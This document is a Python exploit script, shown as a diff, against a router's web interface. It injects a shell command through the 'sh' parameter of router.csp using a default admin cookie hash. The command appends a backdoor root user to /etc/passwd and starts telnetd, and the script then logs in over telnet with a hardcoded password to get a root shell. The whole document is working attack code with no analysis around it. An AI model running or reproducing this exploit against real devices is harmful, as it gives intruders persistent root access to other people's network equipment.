| 1 | + | #!/usr/bin/env python3 |
| 2 | + | import requests, sys |
| 3 | + | from urllib.parse import quote |
| 4 | + | from time import sleep |
| 5 | + | from telnetlib import Telnet |
| 6 | + | |
| 7 | + | |
| 8 | + | # default hash for admin password |
| 9 | + | # hash is md5("admin"+password) |
| 10 | + | def exec_cmd(cmd, host="192.168.168.1", usrid="f6fdffe48c908deb0f4c3bd36c032e72"): |
| 11 | + | |
| 12 | + | payload = f"""';{cmd};#""" |
| 13 | + | payload = quote(payload) |
| 14 | + | |
| 15 | + | |
| 16 | + | headers = {"Cookie" : f"lstatus=true; usrid={usrid}" } |
| 17 | + | |
| 18 | + | url = f"http://{host}/router.csp?fname=net&opt=wifi_lt&function=set&enable=1&time_on=1&week=1100000&sh={payload}&sm=7&eh=6&em=0&math=0.8363175084122203" |
| 19 | + | |
| 20 | + | r = requests.post(url, headers=headers) |
| 21 | + | if not """"error": 0""" in r.text: |
| 22 | + | print("[!] Error executing command.") |
| 23 | + | return False |
| 24 | + | return True |
| 25 | + | |
| 26 | + | |
| 27 | + | |
| 28 | + | if len(sys.argv) >= 2: |
| 29 | + | host = sys.argv[1] |
| 30 | + | if len(sys.argv) == 3: |
| 31 | + | usrid = sys.argv[2] |
| 32 | + | else: |
| 33 | + | # default usrid for password `admin` |
| 34 | + | usrid = "f6fdffe48c908deb0f4c3bd36c032e72" |
| 35 | + | else: |
| 36 | + | host = "192.168.168.1" |
| 37 | + | usrid = "f6fdffe48c908deb0f4c3bd36c032e72" |
| 38 | + | |
| 39 | + | |
| 40 | + | def login_telnet(host="192.168.168.1"): |
| 41 | + | try: |
| 42 | + | with Telnet(host, 23) as tn: |
| 43 | + | tn.read_until(b"login: ") |
| 44 | + | tn.write("root2".encode("ascii") + b"\n") |
| 45 | + | tn.read_until(b"Password: ") |
| 46 | + | tn.write("mrcake".encode("ascii") + b"\n") |
| 47 | + | tn.interact() |
| 48 | + | except: |
| 49 | + | print("[!] Error connecting to telnet server.") |
| 50 | + | return False |
| 51 | + | return True |
| 52 | + | |
| 53 | + | print(f"[*] Adding backdoor user and enabling telnet...") |
| 54 | + | if exec_cmd("""echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/sh" >> /etc/passwd;telnetd""") == True: |
| 55 | + | print(f"[+] Execution worked") |
| 56 | + | print(f"[*] Now sleeping for a short period until machine comes back up") |
| 57 | + | for i in range(5): |
| 58 | + | sleep(20) |
| 59 | + | if login_telnet() == True: |
| 60 | + | break |
| 61 | + | |
| 62 | + | |